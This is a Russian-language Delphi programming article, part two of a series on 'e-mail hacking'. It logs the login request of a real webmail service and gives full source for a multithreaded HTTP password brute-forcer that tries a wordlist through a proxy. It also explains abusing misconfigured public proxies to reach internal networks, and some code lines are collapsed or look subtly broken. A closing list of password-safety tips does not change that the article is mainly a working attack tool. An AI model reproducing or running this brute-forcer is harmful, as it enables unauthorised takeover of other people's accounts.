Delphi World - это проект, являющийся сборником статей и малодокументированных возможностей  по программированию в среде Delphi. Здесь вы найдёте работы по следующим категориям: delphi, delfi, borland, bds, дельфи, делфи, дэльфи, дэлфи, programming, example, программирование, исходные коды, code, исходники, source, sources, сорцы, сорсы, soft, programs, программы, and, how, delphiworld, базы данных, графика, игры, интернет, сети, компоненты, классы, мультимедиа, ос, железо, программа, интерфейс, рабочий стол, синтаксис, технологии, файловая система...
Взлом E-mail 2


Автор: Danil
WEB-сайт: http://www.danil.dp.ua
На улице стоит маленький мальчик и громко плачет. Подходит к нему мент:
- Чего плачешь, малыш?
- Я потеря-я-ялся...
- А адрес свой знаешь?
- Да-а-а. asd.ddd.lpo.net!..
- А, мать твою! Это ж где? А хоть имя свое знаешь?
- Administra-a-a-ator...

Продолжение статьи по ПОПЫТКАМ взлома мыла. Для тех, кто в бронепоезде (крупными буквами): Я НЕ ПИШУ КАК ВЗЛАМЫВАТЬ МЫЛО. Я ЗАНИМАЮСЬ ИССЛЕДОВАНИЯМИ, ДЕЛЮСЬ НЕКОТОРЫМИ ПРИЕМАМИ КОДИНГА И ПРИКАЛЫВАЮСЬ НАД ОДНОЙ ТЕМОЙ В ФОРУМЕ (см. первую статью). Это мое личное право. Стандатной программы по взлому мыла с одной кнопкой "Hack it" не бывает. Есть человеческий фактор, который можно использовать. Попытка взлома мыла - это пару часов и чуть-чуть подождать. Самый лучший метод - социальная инженерия. Писать письма с определенным сообщением, с атачами, подходящими под это сообщение. А не так, как мне один виры уже 2 месяца шлет. Размер - 130 кило. Без комментариев. Задолбался уже в диспечере писем на кнопку "переименовать и удалить" жать, а поставщику его инет услуг написать облом. Скажу сразу обо всех описанных способах - если сразу не получилось, то lim(100)% уже и не получится. Только трата времени и инет-ресурсов. Это были основные выводы по мылу. Эти статьи предоставляют интерес (по моему мнению) с точки зрения исследований и приемов кодинга. А что таким образом исследовать и сканировать - умный человек найдет. Это основные выводы по статьям. Продолжим.

HTTP - сервис. 80 порт (чаще всего). Для написания проги, нам понадобятся дополнительные инструменты для ведения логов некоторых запросов. Это port-mapper или tcp-logger. Программы, способные вести лог запросов по выбранному протоколу. Почему не сниффер? Потому, что забивать гвозди микроскопом не удобно. Для прослушки порта можно взять xspider, по port-mapper есть хорошая статья на http://www.uinc.ru/index.html, tcp-logger с исходниками можно взять там же. Tcp-logger - это как бы локальный прокси (в броузере надо вписать в поле прокси наш адрес и порт, на котором стоит прога), который получает пакеты от клиента, записывает их в лог и отсылает другому прокси в цепочке. Тот запрашивает сервер и возвращает ответы нам. tcp-logger получает их, опять пишет лог и передает клиенту. Как и обещал, будем исследовать mail.xakep.ru. Заходим броузером. Видим поля для ввода имени и пароля. Естественно, после ввода данных, будет сформирован и отослан url, содержащий эти данные. Включаем tcp-logger. Вот лог запроса на вход:


GET http://mail.xakep.ru/cgi-bin/mail?username=USER&domain=xakep.ru
&password=PASSWORD&submit=%C7%E0%E9%F2%E8+%E2+%FF%F9%E8%EA HTTP/1.0 Accept: image/gif, image/x-xbitmap, image/jpeg,
image/pjpeg, application/vnd.ms-excel, application/msword, application/pdf, */* Accept-Language: ru User-Agent: Mozilla/9.0 (compatible; MSIE 9.0; Windows NT 8.0; qwerty) Host: mail.xakep.ru Proxy-Connection: Keep-Alive

Для сканера-брутфорсера, нам нужно найти отличие ответов сервера на правильный пароль и не правильный. Для этого надо их ввести. На правильный пароль ответ:


HTTP/1.0 200 OK
Date: Fue, 32 May 2002 08:11:01 GMT
Server: Apache
Cache-Control: no-store
Content-Language: en-us
Pragma: no-cache
Vary: Accept-Language
Content-Type: text/html; charset=windows-1251
X-Cache: MISS from proxy.proxy.proxy
Proxy-Connection: close
<HTML>
<HEAD>
SKIP

Вот лог ответа на неправильный пароль:


HTTP/1.0 200 OK
Date: Fue, 32 May 2002 08:11:58 GMT
Server: Apache
Cache-Control: no-store
Content-Language: en-us
Pragma: no-cache
Vary: Accept-Language
Content-Type: text/html; charset=windows-1251
X-Cache: MISS from proxy.proxy.proxy
Proxy-Connection: close

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
<head>
SKIP

Таким образом, для того, чтобы сравнить отличие ответов, надо получить всего около 300 байт (в неправильном пароле есть , в правильном его нет). Брутфорсер будет очень похож на cgi-scaner и брутфорсер для запароленных ресурсов, с дной только разницей, что сравнивать мы будем не первые строки с ответом 200 или 500, а несколько больший кусок данных. По сравнению с брутфорсом для POP3, этот имеет ряд преимуществ:

  • Не надо на каждый запрос инициализировать сокет. Разрыв соединения при неправильном пароле не происходит, поэтому его можно инициализировать только на каждый процесс.
  • Надо послать один запрос и получить один ответ, а не три.
  • Можно использовать стандартный прокси.

Итак, Опять делаем новое приложение, новое окно, кнопку и ProgreesBar. Вот исходники HTTP-брутфорсера:


unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  ComCtrls, StdCtrls, WinSock;

type
  TForm1 = class(TForm)
    Button1: TButton;
    ProgressBar1: TProgressBar;
    procedure Button1Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
end;

// Описание процесса
type
  TScan = class(TThread)
    sock2: TSocket;
    addr: TSockAddrIn;
    WSAData: TWSAData;
  private
    procedure CScan;
  protected
    procedure Execute; override;
end;

var
  Form1: TForm1;
  // Массив процессов
  Sock : array[1..255] of TScan;
  Rez : boolean = false;
  // Кол-во запущенных процессов на данный момент
  I0 : Integer;
  // Номер текущего пароля
  I : Integer;
  // TStringGrid-ы с паролями и с логом
  PassList, DopList1 : TStringList;

const
  FilePass = 'pass.txt'; // Файл с паролями в каталоге проги
  ProcCount = 10; // кол-во процессов
  // Адрес прокси через который будет сканирование.
  // Лучше отпинговать сначала
  HTTPserv = 'proxy.address.net';
  User = 'USER';

implementation

// Для преобразование имени
type
  TaPInAddr = array [0..255] of PInAddr;
  PaPInAddr = ^TaPInAddr;

{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);
begin
  PassList:=TStringList.Create;
  DopList1:=TStringList.Create;
end;

// Запуск / Остановка
procedure TForm1.Button1Click(Sender: TObject);
var
  J0 : Integer;
begin
  if Rez then
  begin
    Rez:=false;
    for J0:=1 to I0 do
      try
        Sock[J0].Terminate;
      except
      end;
  end
  else
  begin
    // Открытие и загрузка файла паролей
    try
      PassList.Clear;
      PassList.LoadFromFile(FilePass);
    except
    end;
    if PassList.Count<=0 then
    begin
      Application.MessageBox('Файл паролей не найден или его нельзя использовать', 'ERROR', mb_Ok);
      exit;
    end;
    Form1.Button1.Caption:='Stop';
    Form1.ProgressBar1.Position:=0;
    // Кол-во паролей
    Form1.ProgressBar1.Max:=PassList.Count;
    Application.ProcessMessages;
    I:=0;
    I0:=1;
    Rez:=true;
    // Запустить все процессы
    while true do
    begin
      Sock[I0]:=TScan.Create(false);
      inc(I0); // Подсчитать их кол-во
      //Выйти если больше указанного, или стоп, или подобрали
      if (I0>ProcCount)or(not Rez) then
        break;
      if I0 mod 100 = 0 then
        DopList1.Text:=IntToStr(I0);
    end;
  end;
end;

// Инициализация процесса
procedure TScan.Execute;
var
  iaddr, x0 : Integer;
  ph : PHostEnt;
  pptr : PaPInAddr;
  InAddr : TInAddr;
begin
  try
    // Инициализация сокета
    WSAStartUp(257, WSAData);
    sock2:=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
    if sock2=INVALID_SOCKET then
    begin
      try
        closesocket(sock2);
      except
      end;

      try
        Terminate;
      except
      end;
      exit;
    end;
    // Получение адреса
    iaddr := inet_addr(HTTPserv);
    if iaddr <=0 then
    begin
      // Если имя, а не IP
      ph := gethostbyname(HTTPserv);
      if ph = nil then
      begin
        try
          closesocket(sock2);
        except
        end;

        try
          Terminate;
        except
        end;
        exit;
      end;
      pptr := PaPInAddr(ph^.h_addr_list);
      x0 := 0;
      while pptr^[x0] <> nil do
      begin
        InAddr:= pptr^[x0]^;
        inc(x0);
        addr.sin_addr:=inaddr;
        addr.sin_family := AF_INET;
        // Порт прокси - 80, 3128, 80808 и т.п.
        addr.sin_port := htons(80);
        if (connect(sock2, addr, sizeof(addr))) = 0 then
          break
      end;
    end
    else
    begin
      // Если IP
      addr.sin_addr.S_addr:=iaddr;
      addr.sin_family := AF_INET;
      // Порт прокси - 80, 3128, 80808 и т.п.
      addr.sin_port := htons(80);
      addr.sin_family := AF_INET;
      if (connect(sock2, addr, sizeof(addr))) > 0 then
      begin
        try
          closesocket(sock2);
        except
        end;

        try
          Terminate;
        except
        end;
        exit;
      end;
    end;
    // Запуск цикла
    while true do
    begin
      CScan;
      if (not Rez)or(I>=PassList.Count) then
        break;
    end;
  except
  end;
  dec(I0);
  try
    Terminate;
  except
  end;
  // Если отмена, закончился список или подобрали
  if I0<=1 then
  begin
    Form1.Button1.Caption:='Hack it';
    Rez:=false;
    Application.ProcessMessages;
    DopList1.SaveToFile('log.txt');
  end;
end;

// Процедура сканирования
procedure TScan.CScan;
var
  x, I2 : Integer;
  Buf : string;
begin
  I2:=I;
  inc(I);
  Form1.ProgressBar1.Position:=I2+1;
  Application.ProcessMessages;
  try
    // Формирование url
    Buf:='GET http://mail.xakep.ru/cgi-bin/mail?username='+User+'&domain=xakep.ru&password='+
PassList.Strings[I2]+'&submit=%C7%E0%E9%F2%E8+%E2+%FF%F9%E8%EA HTTP/1.0'; // Отправка данных send(sock2,Buf[1],length(Buf),0); // Получение 300 байт setlength(Buf,300); x:=recv(sock2,Buf[1],300,0); if x<300 then exit; setlength(Buf,300); // Если подобрали if pos(Buf,'<!D')<=0 then // ??? begin Rez:=false; DopList1.Text:='Pass = '+PassList.Strings[I2]; Application.MessageBox(PChar('Pass = '+PassList.Strings[I2]),'ENJOY',mb_Ok); exit; end; except end; end; end.

Такая конструкция будет достаточно быстро работать. Правда, недостаточно быстро для ОЧЕНЬ БОЛЬШИХ файлов с паролями или прямого перебора. Но, само описание и приемы подходят не только для мыла, но и для других HTTP-сервисов. Различные чаты, форумы и т.д. и т.п. Он достаточно просто переделывается в cgi-scaner и в брутфорсер перебора пароля на закрытые на сервере ресурсы.

Анонимность. Прокси. Для HTTP брутфорсера - уже написано. Надо при инициализации сокета, использовать адрес и порт прокси. Для POP3 и прочего: надо юзать SOCKS-proxies. Всю информацию по использованию и настройке можно почитать здесь.

Публичные прокси. Например, есть некоторая локальная сеть, из которой осуществляется выход в инет. На сервере стоит прокси сервер для того, чтобы все в локалке могли открывать сайты, получать почту и т.д. и т.п. Как это не странно, но очень многие забывают поставить соответствующий доступ к этому прокси. Т.к. практически все такие прокси поддерживают получение почты, телнет, HTTP, то сформировав запрос соответствующим образом, можно делать практически все. Не говоря уже о запуске брутфорсеров и т.п. через этот прокси, можно получать доступ ко всей локальной сетке. Обратным адресом будет адрес сервера с прокси. Об этом мало говорят, но такие сервера есть и их не так и мало. Таким образом, можно применяя технологию спуфинга, получать мыло у прова с уровнем безопасности из первой статьи (получение почты только при выходе в инет через них). В общем, вариантов использования очень много.

Подведем итоги по безопасности:

  • Если пароль на мыло указать не менее 8-ми случайных цифр и больших, маленьких букв, то подобрать пароль практически невозможно. Используя любой из описанных вариантов. Кол-во возможных вариантов ОЧЕНЬ большое. Это же касается и "Забыл пароль". Для параноиков - его можно менять раз в неделю/месяц.
  • Не пользоваться броузером при получении писем. На всякий случай. Или использовать оперу без установленных сервисов поддержки Java.
  • Не отвечать на подозрительные письма. Лучше быть невежливым, чем... Если есть малейшее подозрение, можешь не сомневаться - это атака на мыло.
  • Отключить в e-mail клиенте автопросмотр html и не пользоваться аутглюком. Есть другие предложения на этом рынке. А ему запретить в firewall вообще куда-либо доступ.
  • Хороший firewall, не только со стандартными функциями и ограничением показа баннеров, но и с автоматическим переименованием приатаченных файлов с выбранными расширениями.
  • Нужно почаще получать письма и удалять их на сервере. Даже если пароль подобран, для чтения писем, атакующему придется очень часто их получать и админ рано или поздно это заметит.

Все это бесполезно, при грамотном осуществлении 3-его способа (см. первую статью).

P.S. Статья и программа предоставлена в целях обучения и вся ответственность за использование ложится на твои хилые плечи.

Проект Delphi World © Выпуск 2002 - 2004
Автор проекта: ___Nikolay